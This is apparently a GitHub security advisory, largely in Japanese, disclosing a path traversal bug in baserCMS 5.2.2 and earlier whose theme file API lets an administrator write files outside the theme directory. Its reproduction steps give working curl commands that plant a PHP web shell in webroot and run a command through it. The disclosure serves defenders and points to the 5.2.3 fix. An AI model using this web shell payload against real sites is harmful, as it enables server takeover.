Path Traversal in Theme File API Leads to Arbitrary File Write and RCE

High **ryuring** published **GHSA-c5c6-37vq-pjcq** 4 days ago

Package

php **baserproject/basercms** (Composer)

Affected versions

<= 5.2.2

Patched versions

5.2.3

Description

Summary (English)

A path traversal vulnerability exists in the baserCMS 5.x theme file management API (`/baser/api/admin/bc-theme-file/theme_files/add.json`) that allows arbitrary file write.

An authenticated administrator can include `../` sequences in the `path` parameter to create a PHP file in an arbitrary directory outside the theme directory, which may result in remote code execution (RCE).

概要

baserCMS 5.x のテーマファイル管理API（`/baser/api/admin/bc-theme-file/theme_files/add.json`）に、パストラバーサルによる任意ファイル書き込み脆弱性が存在します。

認証済み管理者が `path` パラメータに `../` を含めることで、テーマディレクトリ外の任意のディレクトリにPHPファイルを作成でき、リモートコード実行（RCE）が可能となります。

影響を受けるコード

ファイル: `plugins/bc-theme-file/src/Service/BcThemeFileService.php`

```
public function getFullpath(string $theme, string $plugin, string $type, string $p
{
    // ...
    return $viewPath . $type . DS . $path;  // $path がサニタイズされていない
}
```

攻撃シナリオ

1. 攻撃者が管理者アカウントを侵害（パスワード漏洩、ブルートフォース等）
2. APIログインでアクセストークンを取得
3. テーマファイル作成APIに `path: "../../../../webroot/"` を指定
4. webroot にPHPファイルが作成される
5. 作成したPHPファイルにアクセスしてRCE

再現手順

```
# 1. ログイン
curl -X POST "http://target/baser/api/admin/baser-core/users/login.json" \
  -H "Content-Type: application/json" \
  -d '{"email":"admin@example.com","password":"password"}'

# 2. webshell作成
curl -X POST "http://target/baser/api/admin/bc-theme-file/theme_files/add.json" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "theme": "BcThemeSample",
    "plugin": "",
    "type": "layout",
    "path": "../../../../webroot/",
    "base_name": "shell",
    "ext": "php",
    "contents": "<?php system($_GET[\"cmd\"]); ?>"
  }'

# 3. RCE
curl "http://target/shell.php?cmd=id"
```

脆弱性情報

項目	内容
CWE	CWE-22: Path Traversal, CWE-73: External Control of File Name or Path
影響	任意ファイル書き込み、リモートコード実行（RCE）

項目	内容
深刻度	7.2 (High) - `CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H`
攻撃条件	管理者権限 + API有効（`USE_CORE_ADMIN_API=true`）または XSS等との組み合わせ
再現性	高（PoC実証済み）
検証環境	baserCMS 5.x（Docker環境）

攻撃条件に関する補足

- **API有効時** (`USE_CORE_ADMIN_API=true`): 外部からJWTトークンによる認証でAPI呼び出しが可能。直接悪用可能
- **デフォルト設定** (`USE_CORE_ADMIN_API=false`): 外部からの直接的なAPI呼び出しは禁止。CSRF保護も有効なため、この脆弱性単体では悪用不可。XSS等のエクスプロイトチェーンが必要

修正の方向性

入力文字列の単純な置換やブラックリスト検査に依存せず、ファイル作成後または書き込み直前に正規化されたパス（`realpath()` 等）がテーマのベースディレクトリ配下であることを検証し、境界外であれば拒否する必要があります。

具体的な実装箇所および方法はプロジェクトの設計にてお願い致します。

他CMSとの比較

WordPressのテーマエディタは `wp-content/themes/` 内のみ編集可能であり、ディレクトリ外への書き込みはできません。CVE-2019-8943 は、`wp_crop_image()` のパストラバーサルにより、cropped imageの出力先を `../` を含むファイル名で任意ディレクトリに書き出せる脆弱性として報告されました。

本脆弱性は「管理者が任意コードを実行できる」という仕様の問題ではなく、「テーマ編集機能がテーマディレクトリ外（webroot, config等）に書き込める」というセキュリティ境界の逸脱に起因します。

参照

- OWASP Path Traversal: https://owasp.org/www-community/attacks/Path_Traversal
- WordPress RCE via Path Traversal (CVE-2019-8943): https://www.sonarsource.com/blog/wordpress-image-remote-code-execution/
- Jira Path Traversal (CVE-2025-22167): https://nvd.nist.gov/vuln/detail/CVE-2025-22167

Severity

High 7.2 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	High
User interaction	None
Scope	Unchanged
Confidentiality	High
Integrity	High
Availability	High

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2026-30940

Weaknesses

- CWE-22
- CWE-73

Credits

 **kaminuma** Reporter